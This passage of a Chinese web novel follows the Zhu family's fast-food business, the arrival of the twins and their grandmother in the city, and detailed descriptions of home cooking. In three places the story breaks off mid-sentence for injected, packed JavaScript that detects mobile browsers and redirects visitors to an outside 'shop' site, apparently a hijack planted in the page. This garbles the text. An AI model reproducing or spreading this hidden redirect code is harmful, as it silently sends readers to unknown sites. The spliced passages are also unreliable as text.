‘你们家是抢着干活,我们家催半天干十分钟活,我还得再干一遍。’ ‘这什么情况,两老人忙得一刻不停,小姑娘抱着手机偷懒?现在的小孩真是没眼力见!以为父母赚钱供他们读书都是应该的!’ ‘ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12954174|134963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哇靠,看到这个评论我要气死,你谁啊?!请你从直播间滚出去*****’ ‘乱入了吧。’ 朱莉也下场回了: ‘睁大眼珠子看看,我爸妈一点不老,什么老人啊,会不会说话?’朱莉发完就把这人拉黑了,气绝不在肚里留着,但也不想浪费太多时间。 ‘老板,我也好生气,就好像他在骂我!’ ‘大家勿生气,好好吃饭。’ ‘老板老板老板,你怎么那么会烧菜,腐乳烧肉好好好好吃啊!’ ‘我知道我知道我知道。’朱莉回她。 ‘第一次吃,味道比红烧肉浓郁好多,强烈要求升级成每日固定菜。’ ‘我记得昨天有人提出把梅干菜油爆虾变成固定菜,厨房太小啦,菜没办法更多了。’ ‘换大一点的厨房嘛!’ ‘有在计划中。’ 朱莉看爸妈活快干完了,快速回一句: ‘得去拖地了,下午直播间见。’ 屏幕前的各位还没聊过瘾呢,就看见“直播已结束”五个字,夹一块腐乳烧肉,浓郁的酱汁啊,怎么能这么好吃呢? 单雨晨和同事们从大学宣讲回来,留守的同事早早帮他们把盒饭放在桌上了。 忙了一上午饿坏了,几乎是跟见着亲人似的跑过去拥抱住盒饭的。得抱会儿,太累了,先嗅嗅盒饭,浓郁的腐乳味,白斩鸡咸香清爽的料汁味,黄瓜炒鸡蛋的清香,不歇了,先开吃吧。 先把玉米排骨汤放旁边,打开菜盒和饭盒,菜香味迎面而来,酱紫色的腐乳烧肉、微黄的白斩鸡、碧绿清翠的炒青菜和黄瓜炒鸡蛋,毫无抵抗力的视觉盛宴呐。再把小圆盒里的料汁浇到白斩鸡上,还没吃呢,舌头上好似品味到了鲜嫩的鸡肉蘸料汁的味道。 拿起筷子的同时眼睛已经盯上了肉最多那一块,鸡肉鲜嫩鸡皮Q弹爽脆,酸醋的刺激让舌上每一个细胞都活跃起来,细细品味,姜和酱油的结合让鸡肉更回味无穷。 其实料汁里面最不邀功的是白糖,那才是真正起到无限回味的关键。 腐乳烧肉的颜色好看到油画板都不一定调的出来,来上一块肉就完全被折服了,附着在五花肉上的酱汁细腻香醇,这股独属于腐乳的味道只能说言有尽意无穷,单雨晨好吃到跳脚,得找个人抒发下激动的心情啊。 “婷婷,腐乳烧肉好好吃。”嘶——差点口水掉下来。 对面婷婷比她淡定的多,“我没点,实在吃不来腐乳。”婷婷向来抗拒腐乳这类口味重的东西,腐乳烧肉,恕她想象无能。 这可不是常有的菜,错过了不一定啥时候能吃到呢,该怎么让她相信不吃会后悔呢? “要不你吃一块吧,不喜欢下午宣讲我上!” 艾伦和其他同事们起哄,“雨晨,说出这句话是不是相当于割自己的肉?” “比割肉还疼。” 婷婷微微一笑,那可代价太大了,“真的?” 单雨晨已经将一块递上去了,天知道那不是大气,心疼着呢,完全是她不能容忍身边的人嫌弃腐乳烧肉这道菜。 一块酱紫的肉孤零零停留在婷婷的米饭上,下面一小圈米饭也沾染上了颜色,颜色是挺好看的,印象中的腐乳都是白色的。婷婷并不带着任何期望去吃,结果秀眉一挑,有浓郁的腐乳味但并没有印象中的剌嗓子,更细腻浓郁醇香,“好吧,晚上我也点这个。” 内心里还是想单雨晨上去宣讲的,其他支援工作还好做,上台必须保持十二分的热情,还时不时得卡点煽动下学生情绪,对于淡人来说很为难呀。但婷婷又是个实打实实在的人,不爱心里藏些小九九,好吃就是好吃。 此刻,F区的角角落落里都有人吃着‘奇迹快餐’的盒饭。 外卖小哥骑着电瓶车穿梭于各个小区之间,车子停在楼下,取出红绿色包装的外卖,三个外卖小哥目光相对,笑一笑,便着急完成外送任务去了。那笑的意味很明显:你也送这家呀。 送完外卖就要解决自己的中饭了。找小区外面的林荫处,写字楼楼下的林荫处,商场外集中停电瓶车的地方快速解决一顿中午饭。 人人手上相同的饭盒,相同的几样菜。 晚上没得队排了,明珠小区的居民们还真不适应,要不然每天总好像有件重要事儿等着自己。 周二休息,众人叫苦连天,朱莉一家听不到,他们在宜家选床垫呢。 30.第 30 章 两个宝贝要过来了,老娘也要过来了,一家团聚,两张床不够睡。 暑假他们来睡的小旅馆,比现在这地方还偏,旅馆内只容得下两张床和一台电视,行李箱都没办法展开来,房间里还有潮湿发霉的气味。 那是没办法,就那旅馆还一天一百七呢。环境好点的一天三四百,不是付不起,是心疼,三四百花在别的什么地方不好。 现在好啦,两室一厅,虽是租的,也是自己的家,爱怎么睡怎么睡。 买了两个一米的床垫,花了五百。 家居区域还有各种款式的沙发,餐桌,刘敏秀都看不过眼来,走过了还要回过头来看一眼,恨不得把所有的款式花样都印在脑海里。朱莉挽上老妈的手,“妈,是不是很想拥有一套这样的沙发?” 刘敏秀笑着说:“也不是一定要有,就是觉得好看,喜欢看这些东西。”多年不如意的生活确实让她把自己的想法压到了最深处。 “等我们以后买了房子一定要好好布置,我喜欢皮质沙发还有高一点软一点的床。” 女儿的畅享激发了刘敏秀的无限想象,“有了自己的房子那一定得给你和文雯整张公主床,刷粉色的墙,你弟弟不知道喜欢什么款式?” 朱春华走在后面,他不怎么说话,心里想的一样。虽说现在还只能买两个床垫,心里已经在想象以后的家什么样子了。哪个床放在未来的家合适,哪个餐桌比较大,一家人坐着也不拥挤。 餐桌上还放着花瓶,以后的家也要买个花瓶,插束花,放在家里好看。 越想到这,越是期待过两天龙凤胎和老娘过来的日子。 中午在外面吃的酸辣粉。 朱莉虽说对自己做菜要求严格,但她自己什么都能吃,没有限制。发现美味是意外收获,即使忍不住要挑毛病,那也可以让自己更加记住什么错误不能犯。 这家的酸辣粉生意不错,门面不大,里面坐不下,不少人坐在外面小板凳上吃。 是刘敏秀视线在这家店停留了好久,朱莉就猜到老妈想吃这家了。 以前打工时,晚上收工回来或者周日难得外出,刘敏秀看到这种酸辣粉店就特别眼馋。她很喜欢酸酸辣辣的口味,但一碗十几块,两个人就要超三十了,省下来多打点钱回去多好,忍了也就忍了。所以她无数次路过酸辣粉店,无数次把想吃的念头忍下去。 墙上菜单有招牌酸辣粉,也就是什么都不加,只有粉。还有肉末酸辣粉,满汉全席酸辣粉。自然满汉全席最贵,各种配菜都有。 朱莉点了三份满汉全席,就在她要付钱时,朱春华拦下,“老爸付钱。” 刘敏秀牵着朱莉出去找位置,“让你老爸付钱。” 耶耶耶,朱莉好开心,差点蹦蹦跳跳。梦想中的家庭生活就是这样的! 三个人,三个小板凳,一个可折叠的小方桌。 店外有两桌在吃,看他们嗦粉嗦的大汗淋漓,就对这家酸辣粉更期待了。 店家端过来时,一家人眼睛都亮了,刘敏秀感慨,“满汉全席料就是多啊。”说着都压不住幸福的嘴角。 幸福是能感染人的,尤其是看到你最在乎的家人幸福的压不下去的嘴角时。 肉末打底,上面是北极翅、贡丸、油泡之类,朱春华去里面拿来了油炸豌豆和香菜榨菜,等都加完了再放回去。 辣油包裹着每一根红薯粉,看着就食欲大增。酸醋和辣油的气味不停的勾人快点动筷子。 吃到心心念念的食物,味道会加倍的好,关键这家酸辣粉店味道确实很好。 刘敏秀先单独挑了一筷子酸辣粉吃,完全符合想象中味道,都是好几年前在老家吃过了。数不清多少年了。 酸辣的红薯粉条占满一嘴,滑溜的粉条牙齿一边咬,它还一边逃,又酸又辣又香。梦里都在想的味道。再来一筷子,这回要伴着油炸豌豆和香菜一起吃,酸辣粉的风味更上一层楼。 油泡吸满了汤汁,咬下去汁水四溢。吃一颗贡丸,再吃一块北极翅,喝一口纯的酸辣汤,再喝一口有肉末的酸辣汤,太难的日子里只有低头干活,不敢回忆,现在想起来,这样的内心满足感屈指可数。 一碗酸辣粉吃到只剩下两口汤底。 下午还要去看龙凤胎的借读学校,这回看了两所公立,两所私立的,公立没名额了,私立两人十五万,太贵,而且位置更远些。最终还是决定选上星期看的那所私立高中——常远高中。 决定后朱莉就打了常远高中上次留的电话,对方说加微信,把转学需要的手续发过来。 好事一桩接一桩。 接下来两天干活都别提多有干劲了。专攻外卖后,朱莉做的菜量就增加了三分之一。既然十二点半能卖完,那就多做点,怎么着也得撑过一点,能多赚不赚白不赚。 这十万是两年半的借读费,一次□□情,学费是另算的一年八千。 一天满打满赚三千的话,需要一个半月,但之后需要换稍大一点的铺子,最好还要换个有四个房间的房子,装修新铺子都需要钱。只要抄起锅勺就能赚钱,朱莉可舍不得休息。 这个中秋与国庆连一起,放八天。难得的长假期,买的二十九号晚上的动车卧铺票,弟妹们一放学就赶去火车站了。 把朱文雯兴奋的,一整天在学校里就没听进去课。 祖孙三人赶到火车站是六点半,八点的动车,早上四点到,朱莉和爸妈打车去接的。 当晚朱春华和刘敏秀就没睡着觉,大脑处于极其亢奋状态,到一点就索性不睡了,夫妻俩聊天聊到两点直接起床。朱莉永远保持雷打不动的作息,弟妹和奶奶来了她也十分高兴,但该睡觉的点就闭眼睡觉,她定了两点的闹钟。 朱莉起床看见她爸围着围裙在厨房做早饭。 一个蒸锅解决一切,最下面煮南瓜粥,上面放玉米和贝贝南瓜,再上面放鲜肉饺子。煮完会自动断电,火车站回来正好吃现成的早饭。 打了车到火车站三点都还没到,三人眼巴巴守着出站口。 到站前二十分钟,朱春华还给他们打了个电话,怕他们睡过站。 这是以防万一,很大概率他估计两个小家伙是睡不着的。电话接通,是文雯的声音,“喂,老爸!我们快到啦!你们到了没有?”声音就没有一点困意。 “我和你老妈姐姐都站在出站口一个小时了,北出站口噢,别走错了。”朱春华提醒。 “唉呀放心吧,不会走错的。” 朱春华交代,“那就好,下车和哥哥要看牢奶奶,不要自顾自走,人太多了很容易走散的。” “OK!”朱文雯在电话那端比着ok手势。 车上乘务员一节节提醒到终点站了,祖孙三个背上背包,钱一花对着手机喊,尽管她到现在还不会找手机镜头,“不说了,先不说了,马上就见到面了,见面再说。” 华市是终点站,下车的人密密麻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12971532|134963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 麻,想走快点都不行,只能随着大部队走。 两边的人都急,一边看着拥挤的人潮没办法走快,一边眼巴巴望着出站口,怎么一个个出来的都不是。 刘敏秀先看见他们,朝他们招手,于是,两边的人都急着跑向对方。文雯张开双臂跑过来,刘敏秀张开双臂跑过去,文雯激动的还“啊啊啊老爸老妈老姐”地叫,旁边经过的人都忍不住放慢脚步看一看这一家人。 文超就淡定多了,走近喊了声,“老爸老妈,姐姐好。” 文超的快乐都体现在他的肢体语言上,嘴角微微抿起,手摸摸额头,想挡住笑意。朱莉重重揉了揉他脑袋,把他头发都揉乱了,“还害羞上了。” “没有。”朱文超摇头的幅度也很小,说话声音只能通过他嘴型猜出来。 朱春华接过老娘背上的书包,背到自己背上,“咦,咋那么重,妈你里面放了啥?” “腊肉腊肠辣椒酱,晒的咸鱼干。” 一家人穿过人潮,打车回到家五点。 两室一厅的房子,两个房间各另外安了一张床垫,床单被套都洗过铺上了,虽只有一米,但一看就是板正舒软的小床。 视频里都见过几次了,方位一清二楚。 文雯进门就把书包扔到沙发上,然后一个个房间参观,房间里那张小床她很满意。到底是孩子,文超也好奇,把每个房间都转了遍。“这几天先暂时睡这个小床,等学期结束你们都过来了,咱们再换个大一点的房子。” 文超笑眯眯的,“这个床已经很好了。” 朱莉又揉了一把文超头发,“我弟要求真不高。对了,学校已经确定了,常远高中。离这儿挺近,到时候你们上学坐地铁也可以,自己骑自行车也可以,这几天有空可以先过去看看。” “嗯。”朱文超点头。 他点头的幅度不大,微笑抿嘴的幅度也不大,原本也不太大的眼睛只剩下一条缝,朱莉判断弟弟很满意。 “啊?老姐你说什么?”沙发那边传来文雯的声音,朱莉把刚刚的话又重新复述了一遍给妹妹,“我喜欢坐地铁,不晕车。” 朱莉提醒,“早上的地铁人很多的,可能会挤成肉饼,建议你还是骑自行车。” 文超突然开口,“姐,学费是不是很贵?” “嗯……这得看和什么比,比老家上学肯定贵,但除了这点之外其他都是优点对吧?放心,三年的学费我和老爸老妈一个月就赚出来了。“ 朱文超对钱不太有概念,但是一个月可以赚出三年学费,那应该对家里负担不算很重吧。 刘敏秀帮着老太太把带的东西都理出来,朱春华从厨房端出早饭来,长形餐桌,一人一碗南瓜粥,蒸饺和南瓜玉米放中间。白开水是出门前凉好的,每人一杯倒好。 香甜的南瓜粥治服帖了一晚上没好好休息的胃,鲜肉蒸饺蘸点醋,味道搭配刚好,连小菜都不用吃。 朱文雯吃饱靠在椅子上,摸摸肚子,“我饱了,吃不下了。” “饱了洗个澡睡觉。”刘敏秀说。 作为一家之主,朱春华开口,“这个假期的安排是这样,十月一号二号和六号店里休息,我们一大家子都出去玩玩,其他几天店里要忙,你们自己在家写作业也好,近一点的地方逛逛也好,自己打算。” 文雯和正在啃玉米的文超点头,“我们去店里帮忙。”文雯举手提出。 “也行。只要不耽误作业都行。” 31.第 31 章 奶奶妹妹睡朱莉房间,弟弟睡爸妈房间。文雯爬进被子里,让妈妈给她吹头发。 刘敏秀他们出来打工时,龙凤胎都八九岁了,从他们出生到八九岁都是她亲力亲为带的。当初离开家两个孩子也知道大人是不得已,平时经常通视频,两个孩子和父母的关系并不生疏。 文雯把玩着被子,“老妈,那以后你和老爸是不是都不用去工地干活了?” “当然,咱们家的快餐生意很不错的,人家都抢着买,你老姐还想着过段时间开家大一点的店呢。” “太好了,其实我和超超都特别担心你和老爸在工地上中暑,嗯,或者被什么东西砸到,新闻里老这么说。我都担心的睡不好觉。” “文雯和超超这几年也吃了很多苦吧?怕爸爸妈妈担心才没跟我们说。”刘敏秀一边吹,一边给女儿理顺头发。 文雯摇摇头:“没有。” 她不想让爸妈觉得是他们让她吃苦的,苦也只是想他们的苦,别的方面她并没感觉吃苦。有超超在,什么事情都可以和超超说。 “把这个学期忍过去,下学期来这里上学就可以天天见面了。不住校,天天回家住。” “我和同学说我要转校了,他们可羡慕我了。” 刘敏秀起身时给女儿留了部手机,有事随时联系。还想再去房间里跟儿子说说话,儿子已经睡了。 从来没熬过夜,熬到这个点眼皮一点都睁不开了。 精神最好的反而是奶奶,她没有小孩子半夜赶路那么兴奋,动车上基本都在睡觉。老人家本就是早睡早起的作息,没受多大影响。 钱一花还要帮着朱春华来收拾厨房呢,朱春华怎么可能让老娘动手。 朱莉看了下时间,六点她得去菜场了,时间还早,其实爸妈都可以再睡会儿觉的,九点前到厨房就可以了,还有三个小时呢。 原本的打算是,中饭晚饭都由厨房送过去,等朱莉买好菜回到厨房,奶奶和爸妈已经在打扫卫生了。 钱一花在家里待不住,想着跟来看看有什么能帮忙的,洗菜切菜自己应该能做。过了年龙凤胎就要来这里读书了,她也得过来,早点适应心里好有个数。 她又不识字,什么都得重新来过,现在就得学起来了。 钱一花没和任何人说过,她和孩子们一样期待来华市。她对地里的庄稼有留恋,对老家没留恋。 前半辈子活在泥沼里,今天她穿上了自己最好的印花的确良衬衫。作为儿子的朱春华是能感受到母亲的情绪的,所以老娘说要来厨房,他很痛快就答应了。 农村妇女天生干活麻利,洗菜天天洗,只不过是要洗大量的菜。即使对环境还不太熟悉,大批量的洗要怎么洗也需要儿子儿媳指导,三个人的速度总归是胜过两个人的。 直播间里常看的人当然一眼就看出厨房多了一人,各种猜测。 ‘老板应该请个年轻一点的阿姨来帮忙。个人建议勿喷。’ ‘确实,现在查很严,雇佣超过六十岁的老人要罚款的。’ ‘你们有没有脑子,一看就知道是老板家里人,不是奶奶就是外婆啊。’ ‘肯定是家里人啊,你没看她爸妈一直让老人休息嘛,真的招的人哪那么好待遇,大家又不是没上过班,一见你休息,老板两眼珠子就瞪过来了。’ 朱莉今天要多做几个新菜,菠萝咕咾肉,尖椒酿肉和黄豆炖猪蹄。 第一顿一家人没时间坐下来好好吃,总要做几个他们喜欢吃的菜吧。 猪蹄切成小块焯水沥干,热锅里将冰糖熬成焦糖色开始起泡倒入猪蹄上色,再倒一大碗调好的料汁翻炒。这料汁的关键就是黄豆酱。可直播间里人的小伙伴不知道啊。 此时直播间评论刷刷刷飘过: ‘这酱里加了什么?’ ‘有谁知道这酱里加了什么?’ ‘目测黑不溜秋的肯定时生抽老抽之类。’ ‘这一大碗生抽老抽不得齁死啊!’ ‘甜面酱吧。’ ‘我猜是黄豆酱。’ ‘甜面酱黄豆酱都来点总没错。’ ‘讨厌,我要给老板私信,求菜谱。’ 黄豆酱能够让炖出来的猪蹄和酱汁味道更醇厚,待翻炒至每一块猪蹄都染上酱色后,加葱姜干辣椒和一个卤料包,上面盖上一层泡了一夜的黄豆,最后加啤酒和热水煮至沸腾,转中小火慢慢炖着就不用管了。 评论区里又好奇卤料包里是什么了。 接着做同样需要时间炖的啤酒鸭,再做尖椒酿肉,这个做起来超级快,备菜时就将肉都拌好了,往尖椒里塞肉这一工作朱莉叫老妈过来完成,她则马上做菠萝咕咾肉。 里脊肉裹了三遍淀粉,油锅加至六成热开始炸,炸熟捞出复炸。 调酸甜汁,锅内一点点油,加葱姜,倒番茄汁和清水,圆勺不断翻搅,再加醋。这一步加醋能把酸味完全激发出来,接着加水淀粉勾芡,使料汁更浓稠,最后一勺明油提亮,酸甜汁算是调好了。 泡过水的菠萝青红椒倒进去翻炒,再把肉也倒进去,使每一块肉和菠萝青红椒都挂上酸甜汁,出锅。 这菜颜色隔着屏幕看都鲜艳明亮,闪着橙黄耀眼的光亮。 文雯和文超睡醒,家里一个人都没有,就给老姐打了电话,朱莉就给他们发了定位,刘敏秀还担心他们会找不到走丢,要去接他们。 朱春华倒挺放心的,“都十六岁的大孩子了,不会走丢的,是该让他们锻炼锻炼了。” 龙凤胎边研究边照着手机地图走,走出小区大门,过一个十字交叉路口就看到“福安广场”四个大字了,不用导航也不会走错了。 一路摸索着走到广场里面,抬头一看——奇迹快餐,就是自家的店。 朱文雯激动地重重拍了几下哥哥的后背,“找到了,我们家的店!” 朱文超被她拍的肩膀一晃一晃的,没有任何怨言,习惯了。兄妹俩撩开透明帘子,视频里见过厨房的样子,亲眼见又是不一样的。 尤其是现在菜已经烧完摆出来了,撩开帘子那一霎那,香味扑鼻而来,“好香啊,太香了吧!” 文超也深吸了一口气,“真香啊。” 俩孩子一来,众人的注意力都到了他们身上,“饿了吧,先给你们弄点吃的?” “老爸老妈奶奶你们吃了吗?”朱文超问。 “还没有,我们要干完活再吃。”刘敏秀抬头看了眼时间,都已经十一点半了,“来看一下想吃什么菜?” 文雯走过去,摆摆手:“先不吃,我们和你们一块吃。老妈,我也来打包吧。” “我们来打包。”身后文超的声音要轻一些。 龙凤胎一上手就是熟练工,十几岁的孩子有种天然地接受新事物的本领。 爸妈奶奶和弟弟妹妹一起打包,打包区域都用不着朱莉,她只需随时补菜。一点结束,她中间补了一次菠萝咕咾肉,尖叫酿肉,黑椒牛仔骨,鱼香茄子和杏鲍菇炒肉炒豆芽补了三次。 结束朱莉在直播间回复,是自己的奶奶和弟弟妹妹。 好多人表示羡慕: ‘我也想家人都在身边,可是出门在外连自己都难养活。’ ‘羡慕是羡慕,只是不适合我家,只要一想到我爸妈过来,放假一定比上班还累,心累,不,身心都累。’ ‘躺在出租屋羡慕一下就好。’ ‘我家人一通电话就催结婚,还是不见面的好。但是莫名的看老板一家这么多人忙忙碌碌有种治愈的感觉。’ ‘老板的弟弟妹妹好懂事啊。’ ‘你们有没有发现,这两小孩儿感情好好。哥哥拿袋子总会帮妹妹也拿一个,好默契呀!啊啊啊最羡慕这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12983603|134963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样的兄妹感情了!’ 朱莉回了一句: ‘我弟弟妹妹是龙凤胎,他们感情很好的。’ 朱莉又改了下直播间介绍:今晚外卖订单六点半截止。 之后就放下手机继续干活了。 直播间评论区刷屏刷的眼花缭乱。 吃上中饭都一点半了,奶奶和弟妹们都还没尝过这些菜呢,每个菜都留了一部分。 厨房地方小,打包回去吃。朱莉和爸妈奶奶每人一盒菜一盒饭一份汤,文雯和文超则是每人两盒菜。一家六口人出来的部队可不小,两孩子拎着超级沉甸甸的饭盒,喜笑颜开的,文超的笑容幅度都大了很多。 奶奶喜欢吃黄豆炖猪蹄,文超喜欢吃菠萝古老肉,文雯喜欢吃尖叫酿肉,朱莉盛菜的时候就帮他们都多盛了些。 家里餐桌上,满满的全是饭盒,大家各吃各的,谁也不用省着留给谁吃,都有。 酸酸甜甜的菠萝古老肉,文超夹了一块肉,夹杂着菠萝味的酸甜汁很清爽,包裹着香酥的油炸猪里脊,这种酸甜焦香的搭配吃着实在太满足了。 文超连吃了好几块,“姐,这个菠萝咕咾肉一点不齁甜。” “菠萝我用水泡过了,喜欢多吃点,给你盛了很多呢。” “嗯!”文超点头。他喜欢吃菠萝古老肉,是因为这是在老家经常听到却没吃到过的菜。觉得肉和水果一起搭配很神奇。 上次吃到的菠萝咕咾肉简直没法和姐姐这个比,那不好的回忆他都不愿细想,经不住脑袋里时不时浮现,尤其是在学校添饭的时候。 现在想想,其实也没啥,我姐姐比他们做的好吃。我们家给别人打包时就装很多菜,超多饭,生怕人家吃不饱。 文雯也喜欢菠萝咕咾肉,主要也觉得这是饭店菜的标志。口味上她偏辣口,喜欢吃尖椒酿肉这种有大肉块的,勺子把尖椒酿肉分成两半,一口一大块,香辣的青椒配上扎实的肉块,太满足了。 香辣的酱汁拌进米饭里,光吃米饭都香。文雯竖上大拇指,“老姐,你的厨艺进步神速!” “上学时光在后厨偷师呢。” “要不我也学厨师吧?”文雯突发奇想。 钱一花马上打破她的幻想:“你连刚杀好的鸡都不敢拿,你姐姐从小烧菜做饭就跟天生会的一样。” “好吧好吧,那我改学别的吧。”文雯低头吃饭了,她也就说说而已。 尝过自己喜欢吃的菜,接着再吃其他菜,每一个都打开了他们新的认知。 “姐,黑椒牛仔骨也好好吃,我还喜欢这个白斩鸡啤酒鸭,嗯!糖醋排骨也好吃,最喜欢吃油爆虾,还没有吃过油炸过的虾,凉拌肉末茄子和老爸做的不一样的味道,我两个都喜欢!老姐,你做的炒豆芽都好吃!” “嗯!每个菜都好好吃,选不出来最喜欢哪个了。”文超补充 朱莉摆摆手,眨眨眼睛:“小意思,小意思,日常操作。” 刘敏秀:“你老姐烧的菜每天都不够卖。” 钱一花吃了好几块猪蹄,这猪蹄炖的软烂的牙齿都不用费力,粘稠的汤汁和猪蹄一个味儿,咸香得很,黄豆也软烂的只要抿就可以了,黄豆和软烂的猪蹄一起嚼,嚼着更香了。 农家人胃口本来就大,干农活费体力,两大碗米饭不在话下。钱一花胃口也不小,菜和饭都吃得精光,汤也喝完了。 在老家时她还挺担心的,她知道孙女菜烧的不错,但都没跟大师傅学过,她心里也没底,万一只是这段时间运气好才赚的多些呢。 上午在厨房帮忙,再加上这顿饭,心完完全全放下了,以后哪里用得到她她就上,尽力帮他们这个小家把日子过好就行了。 吃完饭弟妹们写作业,朱莉还要去菜场采购些猪蹄和虾。她另外买了一只鸡和好些蔬菜,又去超市买了椰子水,晚上做椰子鸡火锅。 32.第 32 章 忙忙碌碌一天,七点钟从小厨房离开。 下午龙凤胎没过来,在家里做作业,听见开门声,蹦蹦跳跳的就到门口了。文超不蹦跳,他小跑,接过爸爸手中一大袋食材,“老爸晚上吃什么?” “你老姐说做椰子鸡火锅。” 俩孩子脑边各一个问号,“椰子鸡火锅?” 由于太好奇,已经做不进作业了,于是厨房就换成了他俩帮厨。也不算帮厨,就是围观。朱莉给他们一人开了一只椰子。 兄妹俩对这水果椰子可好奇了,椰子汁很好喝,就是喝多了有些甜,没可乐喝起来爽。吸上来才知道原来真正的椰子水是透明的,不是白色的。 第一口小口,文雯砸吧了下味道,很淡,连喝了几口,哇,很清新的口感,没有很甜,是很天然的带有椰子香的清甜。看电视里吃过,原来椰子水是这个味道。 “我有点期待待会儿的椰子鸡火锅了。”文超笑眯眯的,他也很喜欢这个味道。 俩人一人抱着一个椰子上看下看,左看右看。眼里的满足感都能够溢出来。 家里常吃的水果是苹果橘子梨和香瓜,香瓜自己地里种的。文雯不喜欢咬起来脆脆的口感,也就橘子吃得多些,而文超呢,没啥喜欢的水果,每次都是奶奶切好了他们才吃点。 钱一花并不知道这些,她也没吃过别的水果,常见的就是这些,也习惯买这些。听说小孩子要每天补充什么维什么C的,水果里面有,那她就定期买。孩子们不吃就削给他们吃。 客厅里,钱一花给家里每人都凉好了开水,水壶里是半温的。她下午没去厨房帮忙,儿子让她下午在家休息,她哪闲得住。下午把地都拖了一遍还不够,厨房卫生间也擦了一遍。 朱春华喝光一整杯水,“家里有老人就是不一样,进来屋里擦得亮亮堂堂的。” 钱一花很高兴:“这几天有我在,家里卫生你们不用担心。” 文雯文超在厨房发出的尖叫连客厅都听到了,当然,他们的房子也没有多大。姐姐三两下就把一个椰子从中间打开了,椰子水倒进锅里。 家里大人在厨房门口望了下,小孩就是看什么都新鲜,他们便不凑热闹了。 朱莉给他们示范怎么用勺子刮里面的椰肉,又要拿起一个来开,朱文超说想试试。 朱莉教他诀窍,文超不说两三下吧,五六刀之后也终于开了一个椰子。文雯竖大拇指:“超超没想到,厉害啊!” 文超点点头,蚊子般的声音,“小意思。” 他们两个挖椰子肉,朱莉就在一边准备各种配菜和蘸料了。沙姜和小米辣切碎,倒些酱油,小青柑切半放旁边,待会儿吃之前再放。放久了小青柑的味道就完全和酱油融合了,尝不出它特有的清香了。 文雯手上在刮椰子肉,眼里又对小小圆圆的小青柑好奇了,“姐,我想尝尝那个。” 朱莉给她递过去半个,给文超也半个。“嘶,这么酸!”文雯五官都皱在一起了。文超淡定如常,一他能忍,二他就是喜欢吃酸。 “超超你不觉得酸嘛?” “还好。” 文超将盛了椰子水的锅子端到客厅餐桌,按照姐姐说的按下按键,朱莉切好了鸡出来,锅子也开了,她把鸡肉倒进去,交代老妈滚了撇掉点浮沫,她则进去准备煲仔饭。 大米泡了有二十分钟,沥干水分倒入砂锅,倒没过半指的热水,几滴色拉油,大火煮五分钟转小火。 这时候朱莉切奶奶带过来的腊肠和腊肉,斜切能够充分发挥腊肠的香气。另一个锅熬煮待会儿拌饭的酱汁,清水里放几块肥肥的腊肉进去,能够让酱汁更油亮。再放白糖酱油和老抽蚝油,微微煮热即可。 砂锅盖子的小洞有水汽冒出,掀开盖子用筷子在米饭上戳几个洞,铺上腊肉腊肠和过了水的香菇玉米青豆。 文雯好奇:“姐,为什么要戳几个洞啊?” “让米饭受热均匀,下面的水汽上来,上面的腊肉腊肠容易熟。” 盖上锅盖稍稍淋一圈花生油,慢慢转两圈,让米饭底部的油流淌均匀,小火焖八分钟,烧热的酱汁淋一圈,最后焖两分钟关火。 腊肉的香味和底部锅巴的香味分层次冒出来,文雯和文超深吸一口气,“真香。” “吃饭。” 朱莉是端到外面餐桌上再拌的,家里每人口味不一样。 奶奶和爸爸喜欢吃焦脆的锅巴,妈妈和弟弟妹妹都不爱吃锅巴,觉得黏后槽牙。文雯超级喜欢吃香菇,文超最接受不了香菇的味道。腊肉腊肠大家都喜欢,朱莉自己喜欢什么都来点。 大家各自盛自己喜欢的最方便。不过朱莉的建议是先喝一点椰子鸡汤。这个汤很清淡,最先喝才尝得出鲜味,要不待会儿重口味的吃多,就尝不出味道了。 每人一勺,先尝个味儿。 椰子淡淡的清甜味融入了鸡肉的鲜味,鲜味加倍。刚刚没喝椰子水的大人对这味道很是惊喜,很清淡的清甜,回味不会泛酸,唇齿留鲜。 一小碗汤,回味几下就喝完了。接着尝鸡肉。鸡肉的鲜嫩都出乎爸妈和奶奶的意料,在他们的印象里炖鸡汤用的都是老鸡,谁想到这鸡肉脱骨毫不费力。 椰子的清甜完全融入了鸡肉里,每一口都鲜甜无比,鲜的不想说话,只想一下一下回味品尝这鸡肉带来的鲜甜。 接着第二块蘸着料汁吃,有了小青柑的画龙点睛,整体料汁也是清爽无比的。尝过了刚刚的原味椰子鸡,蘸了酱料的又是不一样的味道,椰子的清甜搭配鲜咸酸辣,这下味蕾都打开了。 “蘸了酱料的更好吃。”朱春华尝了后说。 刘敏秀觉得,“都好吃,各有特色。” 